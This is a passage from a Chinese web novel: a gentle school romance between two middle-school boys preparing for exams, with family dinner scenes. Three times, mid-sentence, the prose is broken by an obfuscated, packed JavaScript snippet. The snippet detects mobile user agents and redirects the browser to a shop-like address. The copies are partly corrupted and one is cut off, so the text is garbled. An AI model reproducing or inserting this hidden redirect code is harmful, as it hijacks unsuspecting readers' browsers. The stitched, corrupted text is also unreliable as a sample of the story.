乌嘉抬起手,拍了一下傅星毛茸茸的后脑勺,道,“还有几个月就要中考了,这点诗都背不下来。” 傅星捂着被乌嘉拍过的后脑勺,笑嘻嘻道,“嘉嘉你肯定会帮我的,对吧。” “不会。”乌嘉连眼神都没分给傅星。 傅星看向乌嘉,正想开口,却忽然被他雪白的后颈吸引走了思绪。 从他的视角,正好可以看到乌嘉衣领下的脖颈,一片晃目的白,而那片顺滑白色的中央,有一点细小的黑。 嘉嘉的后颈上有颗痣。 乌嘉见人久久未说话,疑惑侧头看向傅星,与其窥探的眼神撞了个正着。 傅星乍然回神,移开目光道,“有个虫子。” 乌嘉闻言皱眉,伸手摸向自己的后脖颈,并没有摸到什么。他以为虫子爬到了自己摸不到的地方,于是停下脚步,问傅星道,“在哪?” 傅星看着乌嘉纯净的眼神,心中无由泛起慌张,他压下心中异动,正经道,“我给你看看。” 乌嘉点头,转身低头,将后颈展现在他面前,一副随他动作的模样。 傅星见乌嘉如此不设防,也是愣了一下,他缓缓抬手,指尖落在细腻的皮肤上。 冰凉的触感让乌嘉本能的一缩,从被触碰的地方蔓延出了让他不适的麻意,他不由催促道,“好了吗?” 傅星回神,发现自己手指已经落在了那颗黑色的小痣上,他如梦初醒般收起指尖,往地上随意一掸,好似丢开了那只不存在的小虫。 “好了。” 乌嘉点头,不自然抬手摸着那片被触摸的区域,道,“那就回家吧。” 夕阳照耀出橙红的光,遮掩住了少年发红的脸颊,傅星点点头,看向前方:“回家。” 又到了那个熟悉的岔路口,乌嘉道了声明天见,便往另一个方向走去。 傅星看着乌嘉的背影,张了张口,想说些什么,叫住这个渐行渐远的背影,但最后还是没有喊出声,只剩下一句微不可闻的道别。 “明天见。” 与傅星分开后,乌嘉便掏出了随身携带的单词本,打算边走路边记点单词,他低头盯着上面一个个规整的字母,思维开始不受控制的发散。 良久,乌嘉叹了口气,合上了一直没有翻页的单词本,停下了脚步。 看不进去。 天边最后一抹霞光也逐渐消逝,乌嘉看着渐黑的天,心中思绪纷飞。 自从三年级结识后,他和傅星几乎是雷打不动的一起上学放学。 但最近这件几乎成为习惯的事,最近却发生了变化,傅星放学后总会被拉去踢球,回家的路也只剩下他一个人走。 傅星也一直想拉乌嘉去一起踢球,但都被他拒绝了,马上就要中考了,乌嘉要把自己的精力全都放在学习上。 傅星喜欢运动,再加上这样热烈的性格,本就不该禁锢在自己身边,去交许多的朋友才更适合他。 但当傅星真的与他分开,认识了更多的朋友,不再和乌嘉形影不离后,他的心境又发生了变化。 其实乌嘉也不是纠结于这能不能一起放学回家的小事,他只是透过这件事……想到了更多。 他与傅星不可能一直会共频同线的成长,他们终会分道扬镳,因为兴趣不同,因为追求相悖,这种分离本就是注定的。 乌嘉并不能很好的消化这个事实。 “嘉嘉回来啦,快去洗手,马上吃饭了。” 乌嘉一推开门,饭菜的香气便钻入他的鼻腔,眉间若隐若现的愁绪也被驱散,他换好鞋,温和道,“好,现在就去。” 宋玉温正对着电脑办公,见乌嘉回来了也只是匆匆瞥一眼,随即边打字边喊道,“先把书包放下再去洗手!” 乌嘉这才发现自己书包还在肩上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17196398|197135||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,他将书包放回房间,不忘在房间里的卫生间洗完手再出来。 热腾腾的饭菜就已经端上了桌。 乌嘉乖巧的盛好三碗米饭,然后对宋玉温道:“妈妈吃饭了。” 宋玉温点点头,眼睛没离开过电脑屏幕,道,“我这边还差一点,你们先吃,不用管我。” 乌常辉放下最后一个菜,取下围裙道:“嘉嘉你别管她了,吃饭对你妈来说哪有工作重要。” 乌嘉看了看眼前香气袭人的饭菜,又看了看宋玉温,最后还是放下了手里的筷子,道:“我还是等妈妈一起吃吧。” 乌常辉闻言,夹菜的动作一顿,一下子觉得手里的筷子开始有些烫手。 见乌嘉真的没有吃饭的意思,他只好也放下筷子,转身对宋玉温道,“快来吃饭吧,你不吃,你那宝贝儿子也不吃。” 盯着电脑的宋玉温闻言,嘴角不禁勾起,笑道,“还是嘉嘉最爱我。” 她这时也刚好完成了工作,起身伸了一个懒腰,然后迫不及待的坐到餐桌前,道,“让我看看,第二爱我的老公做了什么好吃的给我。” “板栗炖鸡!” 宋玉温顿时喜上眉梢,亲了乌常辉脸颊一口,道,“我宣布,你和嘉嘉并列第一爱我。” “好了好了,吃饭吧。” 乌常辉难掩笑意,嘴上却道,“就是你这张嘴最挑,你看你儿子就从来不挑食,煮什么他都爱吃。” 乌嘉分别给宋玉温和乌常辉都舀出一碗板栗炖鸡,然后才给自己夹菜,他笑着道,“因为爸爸做的什么菜都好吃。” “胡说。” 宋玉温咬一口软糯的板栗,然后道,“你爸他前几年做饭明明难吃得要死,连醋和酱油都分不清。” 那时候乌嘉还小,宋玉温工作忙没时间照顾他,夫妻俩又不放心请保姆照顾,便让乌常辉学着做饭。 刚开始,乌常辉做的饭简直惨不忍睹,但奇怪的是,即使饭菜再难吃,小小的乌嘉也会一口口吃完,一点都不浪费。 “呐呐呐,你行你上。”乌常辉笑着道,“有的吃你就知足吧。” “那我肯定知足。”宋玉边吃边道,“毕竟是老公辛辛苦苦做出来的。” “知道就好。” 在愉快的氛围中,这顿饭吃完了,乌嘉将餐具收拾好之后,便道:“我回房间写作业了。” “不看会电视吗。”宋玉温倚在乌常辉身上,正调试着电视,乌常辉则一只手揽着宋玉温,一只手拿着手机打字。 “不了。”乌嘉脚步微顿,然后道,“马上就要考试了,我多复习一下以前的知识。” “好吧……” 乌嘉走进房间之后,宋玉温对乌常辉道:“嘉嘉怎么最近总是一个人窝在房间里,不会有什么问题吧?” “你儿子你还不知道。”乌常辉收起手机,笑着道:“你出问题他都不会出问题。” 宋玉温失笑,道,“这也是,嘉嘉从小就不让人操心。” “但是……”宋玉温垂眸,犹豫道,“太不让人操心也不是什么好事吧。” 乌嘉自出生以来,几乎没让他们担心过什么。 婴儿时期就不哭不闹,稍微长大一点,也是十分听话,教什么都学得很快。读书之后更是懂事得让人心疼,不仅不用他们催促做作业,自己还会主动在课外时间学习。 照别人的话来说,乌嘉简直就是来报恩的好儿子。 可这样乖巧的乌嘉,却让宋玉温心中难消不安,因为这样的乌嘉,根本不像一个正常的小孩。 他从不会无理取闹,也从不和父母撒娇,仿佛做什么事都带着考量。在这个家里,乌嘉时常就像一个外来的客人,拘谨又小心翼翼。 她不知道乌嘉变成这副模样,是因为他们的教育问题,还是因为乌嘉自己的原因。 宋玉温也不知道怎么和乌嘉去沟通这件事,她总不能说,你不要那么懂事了。 察觉到爱人的愁绪,乌常辉安抚道:“你要相信咱儿子,也要相信自己。” “……嗯。” 5. 奶糖是很甜 清晨,微风凉爽,傅星走在乌嘉身侧,手藏在身后,脸上难掩笑意。 “你猜我找到了什么。” “什么?”乌嘉看傅星那副神神秘秘的模样,唇角微扬,故意道,“中考必背古诗文?” 傅星笑脸一僵,顿时耷拉下来,泄气道,“我背我背,我背还不行吗?” 乌嘉点头,看着傅星这副模样,不由失笑。 真就和小时候一样,一到要背书就像变得和没精神的小狗一样,感觉一头乱翘的卷毛都像狗耳朵一样,没力气的垂了下来。 “不过……”傅星稍稍丧气后,眼中又亮起了光,看向乌嘉道,“我要你帮我。” 乌嘉愣住,疑惑道,“背书我怎么帮你,嘴和脑子都在你身上。” “哎呀。” 傅星揽过乌嘉,无赖道,“你监督我嘛,你不看着我,我怎么背得出。” 少年身上好闻的气味扑面而来,像下完雨的深山雾林,萦绕在乌嘉鼻尖。他看着傅星搭在自己肩侧的手,无奈道,“那放学之后你来我家?” “好耶!”傅星顿时喜笑颜开,拿毛茸茸的脑袋蹭了蹭乌嘉的脖颈,笑眯眯道,“还是嘉嘉最好了。” 乌嘉被他的头发蹭的发痒,眯眼笑着道,“行了行了,你最好是会好好背完。” 傅星直起腰,但手还是揽着乌嘉,信誓旦旦道,“有你在,一定可以背完。” “最好是这样。”乌嘉嘴边挂着笑。 傅星揽着他的那只手忽然抬起,就着这个揽肩姿势抬到乌嘉眼前,只听少年蕴着笑道,“你还没猜到我找到了什么。” 眼前的骨节分明的手里紧紧握着什么,挡住了乌嘉的视线,他停住了脚步,正要开口。只见这只手像是变戏法一样,突然打开,手心中是一颗黄色的奶糖。 乌嘉拿起那颗眼熟的糖果,愣在了原地。 这是傅星小时候第一次送给他的那种糖果,这独有的包装让乌嘉印象很深,因为当时妈妈在给他做牙齿护理,所以那颗糖被留了很久都没有打开,直到临近过期才被乌嘉吃掉。 “你还记得吗?”傅星脸上挂着笑,心跳也不自觉加快,他难掩激动道,“我还以为这种糖已经停产了,没想到又让我给找到了。” 乌嘉回神,道,“你在哪找到的?” “你别管我哪里找到的。”傅星盯着乌嘉,催促道,“你快尝尝是不是以前那个味道。” 乌嘉看着傅星期待的目光,心中泛起丝丝暖意,他拆开糖,放进嘴中,腻人的甜味一如往昔。 乌嘉含着糖,眨了眨眼,故意道,“味道不一样了。” 傅星闻言,瞪大了眼睛,难以相信道,“不一样了吗?商家改配方了?不应该呀。” 平时寡淡的眉眼染上狡黠的笑意,清晨温和的阳光透过树叶洒进少年的眼中,成了生动的星星。 乌嘉笑着说,“更甜了。” 平时沉静的人难得露出了顽皮的一面,傅星一时间也愣在了原地,有些呆呆的道,“什么?” 嘉嘉说更甜了?为什么说更甜了?是因为……他给的? “没什么。”乌嘉很快收敛了意外漏出的少年气,耳朵微红道,“味道没变。” 傅星这时候才反应过来,心跳频率一下子飙升,他红着脸迫切追问道,“不对,你刚才不是这样说的。” “你刚才明明就说更甜了。” “没有……” “就有!” “没有。” “明明就有!” “没有。” “嘉嘉你变了,学会耍赖了……” “……没有。” 细碎阳光下,乌嘉插在白色校服口袋的手中,轻轻揉搓着那张黄色的糖纸,嘴里的奶味逐渐变淡。 傅星的心跳还未平息,他盯着乌嘉,不依不饶道,“你说过的,对吧。” 乌嘉将手从口袋拿出,忽然抓住了傅星的手腕,往前跑了起来。 傅星被带得慢跑起来,他的目光落在面前微红的耳背,只听前面传来轻轻的一声。 “说过。” 原本跟着乌嘉慢慢奔跑的傅星,听到这声肯定后,脸上顿时被喜悦侵占,心跳速度也在此时达到了峰值。 他难以抑制心中的澎湃,反手抓住乌嘉的手,然后向前大跨步,速度一下子超越了乌嘉。 乌嘉被他拉得飞速奔跑,他另一只手握住滑动得的书包背带,无措道,“慢点,我跑不了你那么快!” 傅星跑在前面,手抓的愈发紧,因为奔跑而变得剧烈的风吹开了他额前的发丝,露出了那双同样闪着光的眼睛。 他迎着风笑道,“要迟到了!” 等二人走进教室,离上课还有五六分钟,两人都默契的没有提出早到的事实,各自走到桌前放下了书包。 傅星放下书包,便开始百无聊赖的看着前面端正的背影,没有半点拿出书的意思。他看着远处那单薄的背影,心中暗想,身高差距变大最坏的弊端就是——他和乌嘉不能再做同桌了。 他和乌嘉做了很多年的同桌。 当然,这并非偶然。 乌嘉成绩优异又品行端正,总有老师想把乌嘉从他身边调走,让乌嘉去辅导一下别的同学。这让傅星很不情愿,每次都会极力反对,堪堪拦下了几次分离危机。 但靠傅星一个人反对是不够的,乌嘉自己不懂拒绝老师。六年级的时候,有一次傅星因为生病请假两天,好不容易病好了,开开心心回到学校,却发现家被偷了。 乌嘉被调到了班上一个学艺术的女生身边,理由是那个女生需要艺考,但文化成绩太差,需要乌嘉辅导。 傅星当场就发脾气了,怒气冲冲去找老师理论,但老师却和他说了一席冠冕堂皇的话。 “老师知道你和乌嘉关系好,但你也不能一直独占着乌嘉,不让他交朋友,这样搞小团体,乌嘉也一直没办法融入班级。” 听到这段话,十二岁的傅星愣在了原地,不知道怎样反驳。等他垂头丧气回到教室,看到的是乌嘉不安的脸。 乌嘉满脸愧疚对傅星道,“对不起,星星,我不知道怎么拒绝老师。” 傅星低着头,失落道,“老师也没做错……怎么能让你一直只跟我做同桌呢。” “啊?”乌嘉闻言,呆呆道,“不能只和你做同桌吗?” 乌嘉呆愣的模样落入了傅星眼中,他在其中看到了同自己一样的失落。 傅星心中一下雪亮,他瞬间想明白,什么融入班级都不重要,重要的是,现在嘉嘉也并不想和他分开。 一股莫名的气力忽然涌上心头,他拉起乌嘉的手,认真道,“能的,你等着。” 第二天,一对靓丽的男女便光临这座小学,他们牵着手,找到傅星的班主任,笑着道,“我们是傅星的父母。” 也不知道傅星的父母和班主任说了什么,反正当天乌嘉就回到了傅星身边,并且班主任和他承诺,不再调动他和傅星的位置。 而傅星的父母,在和班主任洽谈之后,找到了乌嘉和傅星,眼中满是欣慰。 “好大儿,还得是你会挑,咬死年级第一不撒口。” 说着,傅星妈妈便从包里拿出一个红包,塞到乌嘉手里,继续道,“傅星在学校就多靠您招抚了。” 乌嘉看着手里的红包,半晌没反应过来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17196399|197135||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,是不是搞错了,这段剧情不应该发生在他身上吧。 反应过来后,他连忙拒绝,要把红包还回去,却被两人灵活躲过。 傅星爸爸拉着他的手,强行把红包塞进他校服的口袋里,道,“您可千万别客气,都是小意思。” 塞完,两人便一溜烟走了,留下乌嘉一个人懵懵的。 “你爸妈不会也给班主任塞了红包吧。”乌嘉反应过来后,拿着红包对傅星不安道,“那样不好吧。” 傅星自信摇头,道,“不可能的,他们知道哪里的钱该花,哪里的钱不该花。” 乌嘉看着自己手里的红包,陷入沉思,他们……真的知道吗? 最后,这钱也没能还回去,乌嘉也不知道怎么告诉爸妈,只好拿钱带着傅星出去玩了好多次,才堪堪把钱花光。 但六年级之后,傅星的身高便脱缰疯长,与乌嘉拉开了难以跨越的鸿沟,两人最后还是被生生拆散了。 拆散当日,傅星回到家,颓废的灌了一整罐冰可乐。 傅爸傅妈见他这副模样,连连摇头,语气沉重道,“认清现实吧,儿子。” 傅星捏瘪易拉罐,恨恨道,“我就不信了,都是一样的人,还能有那么大的差距。” 净身高一米九二的傅爸起身,拍了拍傅星的肩,认真道,“孩子,有的。” 可傅星仍然不认输,第二天便开始拉着乌嘉运动,天天往操场上跑,乌嘉也任他折腾,一段时间后,果然有了成效——乌嘉成功长高了三厘米。 没等傅星高兴,一个天大的噩耗便把他砸晕,他长高了六厘米。 能坐回一起的希望愈发渺茫,傅星终于放弃,现在只得每天坐在教室尾端,像一块望夫石一样望着前方的乌嘉的背影,目光深沉。 坐在傅星身边的男生,顺着他屹然不动的目光,看到了一个背影。男生瞬间了然,用手肘碰了碰傅星道,“喜欢你就去告白啊。” 喜欢?傅星先是凝固了一会,然后脸嗖的红了,他慌慌张张看向手中的课本,胡言乱语道,“什么喜欢?你不要乱说,我……” 说着说着,傅星又没了声音,目光也不禁往前送去。 “你还不喜欢,一天七堂课,你八堂都在看前面。”男生嬉笑着道,“喜欢就喜欢呗,这有什么的。” “我没有……”傅星目光飘忽,眼神一会儿看向乌嘉,一会又欲盖弥彰的看着手里的课本,红着脸接着道,“……这黑板不就在前面吗?我不看前面看哪?” 男生翻个白眼道,“谁信啊。” 躲闪的目光从课本上又飘到了前面的乌嘉身上,只见那温和的身影此时微微侧身,给他那新同桌正说些什么。 嘴唇一张一合,眼神专注认真,是在讲题,还是在聊天? 傅星再也顾不得手上的课本,他死盯着前面,眼睛仿佛要冒出火星。 见傅星这副吃了火药的模样,男生玩味道,“你吃醋了?” 傅星回神,这次却没有急着否认。他有些恍惚,心中未散的酸意真的不能再真,他确实是……吃醋了。 “害,要我说,你长那么帅,直接去告白就行了呗,赵丝蕊肯定也会答应你的……” “等等。”傅星嗖的转头,看向喋喋不休的男生,疑惑道,“赵丝蕊?”赵丝蕊是谁? 男生微愣,同样疑惑道,“你不是在看赵丝蕊吗?” “当然不是。”傅星皱眉道,“你眼瞎?我明明在看……” 男生眼中满是好奇,期待着傅星的答案,傅星堪堪刹住嘴,道,“……黑板。” “切。”男生顿时没了兴趣,不再开口,留傅星一个人继续盯着那“黑板”。 6. 身高是遗传 乌嘉给赵丝蕊讲完最后一题后,习惯性扭头看了眼身后,与傅星的眼神撞了个正着。 傅星还在发愣,没想到乌嘉会突然看过来,一时间反应不过来,就这样与乌嘉隔着教室对视了良久。 乌嘉眼神逐渐困惑,他有什么话要和自己说吗?为什么一直盯着自己不放? 但傅星一直没有给出反应,乌嘉没有接受到别的讯息,便转回了头。 傅星这才听到了自己如雷的心跳,他红着脸低头,捂住躁动的胸口,呼吸沉重。 他的大脑或许会困惑,他的嘴巴或许会质疑,但疯狂鼓动的心告诉他——我喜欢嘉嘉。 想通了之后,傅星便彻底沉浸进了自己的世界。 他脸上挂着莫名的笑意,说是喜悦又带着三分内敛,说是害羞又带着四分猥琐。笑得他周边的人汗毛直立,胆战心惊。 直到放学的铃声响起,宋烨喇叭般的声音同时响彻整个三班,“傅星!踢球去!” 傅星还挂着那莫名的笑,他摆摆手,没分半点目光给宋烨,平静拒绝,“不去。” “啊?为什么?”宋烨皱起眉,不甘心道,“你没什么事情要做吧,为什么不去?” “有事。”傅星背起书包,拍了一把宋烨的肩,道,“大事。” 说完,傅星便掠过宋烨,走到还在做作业的乌嘉身旁坐下,目光灼热的盯着他写字。 感受到傅星的视线,乌嘉写字的手一顿,他放下笔,斟酌道,“背书也不急于一时,要不……” “今天这个书,非背不可。”傅星笑得缱绻,不容拒绝道,“谁都拦不住我。” 被傅星锁定的乌嘉,莫名感到一股寒意,像是被野兽盯上一样,心中有非常不妙的感觉。傅星已经这样奇怪的盯着他一天了,乌嘉几度想开口询问,但都被这神秘的笑硬生生逼了回去。 他反复回忆,确认自己没做什么亏心事,可傅星为什么要这样盯着他。 难道是报复,因为不想背书? “背书有什么意思。”宋烨还不放弃,走到傅星身边道,“走吧,大家都等着你呢。” “不去。”傅星不动如山,依旧笑眯眯盯着乌嘉。 乌嘉被盯得心里发毛,作业也写不下去了,默默放下笔开始收拾东西。 宋烨开始不耐烦,他上前拉住傅星的胳膊,语气有些急道,“既然不想踢球,你进足球社干嘛!” “当初就不该让你进足球社!” 傅星看着拉住自己胳膊的手,脸上笑意终于散去,他抬头,看着宋烨,一字一句道,“不去。” 宋烨气一下就上来了,他皱起眉,拉着傅星还想再说什么,却被一只白净的手打断了思路。 乌嘉脸色阴沉,抓住了宋烨的手腕,没什么起伏道,“他说他不去。” 冰凉的语气让宋烨微惊,手上也不住松了力道。见傅星的胳膊被放下,乌嘉才收回手,一把拉起还在发愣的傅星,离开了教室。 看着两人离去的背影,宋烨回神,他抬起被乌嘉握得微红的手腕,脸色阴晴不定。那个书呆子……力气还挺大。 傅星完全是神游天外的状态,直到发现自己被乌嘉紧紧握住的手,才堪堪找回心跳。 他捂住自己红得发烫的下半张脸,仿佛感觉到了自己鼻血涌出,傅星看着前方乌嘉尚余怒气的后脑勺,心中已被喜爱填满。 嘉嘉刚才太帅了! 乌嘉此时还有些气愤,那个宋烨,明明知道星星不愿意,不仅非要拉着人去,还拿出社团压人,真的太过分了。 难怪星星要躲着他,这样喜欢勉强别人,不躲着能怎么办?想到这,乌嘉心中愈发生气,前几次的踢球,星星该不会也被欺负了吧,那样蛮横无礼的人,该把星星欺负成什么样! 乌嘉忽然刹住脚步,转身扶住还在飘忽的傅星,神情认真道,“星星,他要是还欺负你,就跟我说,我一定不会放过他。” 傅星宛若飘在云端,晕乎乎的开口道,“啊?” 什么?谁欺负谁?他反应了好一会儿,才明白了乌嘉的意思,连忙道,“你放心,他不敢欺负我的。” 傅星这么大体格,正常人别说欺负他,都不敢大声对他说话,也就眼睛自带童年滤镜的乌嘉会有这种顾虑。 乌嘉眼中带着犹疑,“真的吗?” “真的。”傅星笑着道,“就是有些难缠,平时能躲就躲了。” 见傅星不像说谎,乌嘉才堪堪放下心来,收回放在他肩膀上的手,松了一口气道,“那就好。” 肩上余温未散,傅星蜷了蜷手指,心中叫嚣着再去握住那只诱人的手,在大脑给出指令的前一刻,乌嘉垂在身侧的手握上了书包背带。 傅星不甘心的收回手,跟上乌嘉的步伐。 “星星。”乌嘉看着前方,忽然开口道,“你是不是不想跟我回去背书?” 傅星闻言,眼睛微微睁大道,“怎么会?” 背书暂且不提,跟嘉嘉回他家可是能让傅星乐得做梦都笑的美事。 “真的吗?”乌嘉侧头,神情认真道,“你不想的话一定要说出来,不要勉强……” “不勉强!” 傅星声音不自觉拔高,引得路人侧目,他尴尬的收起声音,红着脸对乌嘉道,“一点都不勉强,我可开心了。” “不勉强?”乌嘉疑惑道,“那你今天一直盯着我干嘛?” 不是因为背书?那是因为什么? 傍晚的风带着微凉的晚露,晃悠悠吹向两人,傅星将手插进校服口袋,不自然的看向天边道,“因为……” 因为喜欢你。 “嗯?”傅星半天没因为个什么出来,乌嘉侧目,满眼疑惑。 “……那是不是你妈妈!”傅星目光飘忽,最后落在了远处,他指着远处的宋玉温,故作激动道,“太巧了,我们快追上她吧。” 乌嘉顺着他的手指,也看到了宋玉温,点点头道,“妈妈她应该刚下班。” “宋阿姨!”傅星遥遥招手,喊住了前方的宋玉温。 宋玉温闻声回头,看到了站在一起的两个少年,顿时喜笑颜开,道,“星星!好巧啊,你们也放学了?” 两人追上前,乌嘉一走到宋玉温身边,便主动拿走了她挎着的包包,宋玉温顿感贴心,笑着道,“这个不重的。” “妈妈上班辛苦了。”乌嘉拿着包道,“我来拿就好。” “还是我来拿吧。”趁乌嘉不备,傅星拿过包,挎在了自己身上,笑道,“那么好看的包,我也想背一背。” 宋玉温被逗得哈哈笑,她捂嘴道,“星星你还是那么有趣,唉哟……我可太喜欢你了。” 傅星笑靥如花,心中暗道,要是你儿子也喜欢我那就更好了。 氛围融洽轻松,乌嘉看向宋玉温道,“妈,我今天要和星星一起背书,晚一点吃饭可以吗?” “那怎么行。”宋玉温摇头道,“你们学习一天肯定也累了,先吃饭再背书。” 这个时候,爸爸应该还没做饭,还要等吃完饭再背书的话,一定会耽误到很晚的。乌嘉神情闪过犹豫,还想再开口,却被宋玉温打断。 “今天星星就别回去了,我和你妈妈说一声,今天在我家住了。” 傅星眼中闪过惊喜,但嘴上却道,“这怎么好意思……” “这有什么不好意思的。”宋玉温嗔怪道,“跟阿姨还客气这些,就这么决定了。” “那就打搅了。”傅星心中小人舞动雀跃,脸上还装得矜持。 两人一唱一和,把今晚的内容就安排好了,乌嘉无奈的笑了笑,看向前路没再开口。 回到家,乌常辉先是表达了热烈欢迎,便起身去做饭了。 宋玉温则拉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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乌嘉似乎察觉到了宋玉温的心中的不安,暖暖一笑道,“说明妈妈这些年过得很幸福。” 宋玉温闻言,愣了愣,不由道,“为什么?” “因为——”乌嘉回握住宋玉温,这只拉了自己十五年的手,也逐渐生出了粗糙的细茧,他满心温暖回答道,“因为幸福,所以才会觉得时间太快。” “我也觉得时间过得太快了。” 宋玉温这才明白乌嘉的意思,她忽感一阵泪意上涌。 从前她总觉得,他们或许没有照顾好乌嘉,因为多年来,总不见乌嘉与他们太过亲近,和他们相处时也似乎带着拘束。宋玉温自觉已将全部的爱倾入,但她害怕乌嘉接收不到她的爱,也怕他因为缺少爱而过得不幸福。 现在他的孩子终于告诉她,他这些年过得很幸福,像她一样幸福。 她压下眼中酸意,摸了摸乌嘉的头,认真道,“妈妈确实很幸福。” 站在厨房门口的乌常辉,福至心灵的笑了笑,转身回去做饭了。 刚换完衣服的傅星,有些不适应的扯着有些过短的袖子,心中有些局促。倒也不是因为衣服太不合身,只是……嘉嘉的衣服为什么那么香。 宋玉温并没有注意到傅星微红的脸色,她见傅星出来,就招呼他坐下,笑着道,“来,星星,快传授嘉嘉长高的方法,看看你们差距都多大了。” 看着乌嘉满脸无奈的样子,傅星了然,于是笑着对宋玉温道,“我比嘉嘉大了快一岁呢,有差距很正常,过两年嘉嘉肯定就赶上来了。” “是吗?”宋玉温满目怀疑。 乌嘉点点头,笑着道,“会赶上去的,喝了那么多牛奶呢。” “这倒是……”宋玉温闻言,也放宽了心,那些牛奶可是牧场直出的,总会有效果的。 “吃饭了吃饭了!” 乌常辉把最后一个菜端上桌,招呼到,“吃完饭再聊,先吃饭。” “好多菜啊。” “乌叔叔厨艺还是那么棒!” “哈哈哈哈,尝尝这个。” “星星多吃点,别客气昂。” “嘉嘉才是要多吃点,要不然怎么长高。” “别说了……会长高的。” “哈哈哈哈哈……” 7. 傻的是我 “无言独上西楼……”傅星撑着下巴,抑扬顿挫的读着诗。 乌嘉在低头做着题,身旁傅星跌宕起伏的朗诵似乎半点影响不到他。 傅星读着读着,目光就从书上飘到了乌嘉身上,他看着少年灯光下温暖的轮廓,思绪渐渐游离。 嘉嘉的嘴唇看上去好软,摸起来是什么感觉呢…… “星星?”久久没听到傅星的读书声,乌嘉抬头看向他。 对上乌嘉困惑的目光后,傅星才堪堪回神,他急急拿起书道,“我背着呢,马上就背完了。” 乌嘉迟疑的点头,低下头继续做这道有些难的数学题,他拿起草稿纸画起了图,可画完之后,还是没有找到思路。他不禁皱起眉,有些难啊……要不,问问星星? 此时傅星还在念诗,乌嘉不欲打搅他,便先跳过了这题。 窗外月光似水,初春的凉风吹起窗帘,摇摇摆摆飘掠过在两个少年之间,清朗的读书声随着一丝晚风停歇。 低着头做题的乌嘉听傅星没了动静,便将目光放回那道难题上,他不信邪的再次画了一遍图,但依旧没有找到答案。 好吧,只能问问星星了。 乌嘉这样想着抬头,还没开口,便与傅星有些奇怪的目光直直撞上。看着那双好似有万般话语在其中的眼睛,他一时间也忘了自己要做什么。 傅星率先反应过来,他移开目光,把书递给乌嘉,微红着脸道,“我背完了。” 乌嘉回神,压下心下奇怪的情绪,拿过傅星手中的书,开口道,“相见欢。” “相见欢,李煜。” “无言独上西楼,月如钩,寂寞梧桐深院锁清秋。” “剪不断,理还乱……”背到这,傅星突然顿住。 他突然觉得,这句诗……就像在描述他现在的心情——剪不断,理还乱。 见傅星停住,乌嘉还以为他忘了,于是看着书道,“还记得吗,要不要再记一下。” “嘉嘉。” 傅星神情忽然严肃抬头,对乌嘉不着边际道,“之前,我说错了。” “什么?”乌嘉疑惑抬头,“你没有背错。” “不,不是背错诗,是我之前说的话错了。” 只见傅星目光闪动,看着乌嘉认真道,“我之前说,用古诗抒发心情的人太傻了。” ——诗句可以来抒发心情,说话的时候是可以带上的。 ——那也太傻了吧。 “一点都不傻,傻的是我。” 傅星盯着乌嘉,像是下定了什么决心,他红着脸继续道,“这句诗就可以形容我现在的心情。” “剪不断,理还乱。” 繁杂的思绪就像一张网一样,千丝万缕的束缚住了他,让他无暇顾及其他,满心满眼就是这张名叫喜爱的网。 他现在只剩下一个想法,他要……乌嘉与他一起坠进这无形的网。 “我……” “可是……”乌嘉看着傅星,双眼微微睁大,愣愣打断道,“这句诗抒发的是亡国之恨。” 说完,乌嘉就沉默的移开了目光,不知道为什么,他脸也慢慢红了。 乌嘉垂眸看向书,低低道,“应该不能抒发你现在的心情……” 一句话,将傅星聚起的满腔情感一下击散,他嘴角微抽,尬笑道,“呵呵呵是吗。” 此时傅星只恨不能自己两耳光,让你不认真上语文课!让你不好好背书! 乌嘉没有再抬头看傅星,他死死看着那道解不开的数学题,莫名心跳如擂鼓。他不明白自己为什么会这样,是因为星星刚才那些奇怪的话吗? 星星要说什么?他为什么要说自己剪不断,理还乱?他……在烦恼什么? 敲门声此时适时的响起,乌常辉推门,探出头道,“嘉嘉,星星,先睡觉吧,明天还要上课呢。” 乌嘉这才回神,起身收拾书本道,“知道了。” 傅星也只能放下书,眼中带上了无尽的哀怨,像是受了什么天大的委屈。但在看到摆着两个枕头的床铺后,脸上怨气顿时消散。 今天嘉嘉要和他睡一张床呢。 “嘉嘉,我们快点睡吧。”傅星迅速爬上床,躺在一侧,拍了拍身旁的位置,眼睛放光。 看着傅星这副期待的模样,乌嘉莫名生出一股退意,他点点头,压下心中奇怪的思绪,躺在了傅星身边。 窗外月光皎洁,在窗帘上映出隐隐绰绰的枝叶,傅星看着那些缓慢摇摆的枝叶,忽然开口道,“嘉嘉,还记得我第一次来你家吗?” “记得。”乌嘉侧头看向傅星,愣道,“怎么了?” 傅星翻个身,侧身看着乌嘉道,“那时候我可是磨了你好久,你才答应带我回来的。” 看着傅星与小时候一般无二的明亮眼眸,乌嘉有些恍惚,几年前的记忆浮上脑海。 “嘉嘉嘉嘉,为什么不让我去你家?” 傅星带着点婴儿肥的脸皱成了包子,他坐在乌嘉身旁,失落道,“我爸妈都不在家,我一个人好无聊的……” 年幼的乌嘉闻言,拿着书的手指蜷了蜷,繁杂思绪一下子涌上心头。他不是不想带星星回家,只是……爸爸妈妈见到自己带朋友回去会开心吗?他们会喜欢星星吗?他们要是不喜欢星星怎么办? 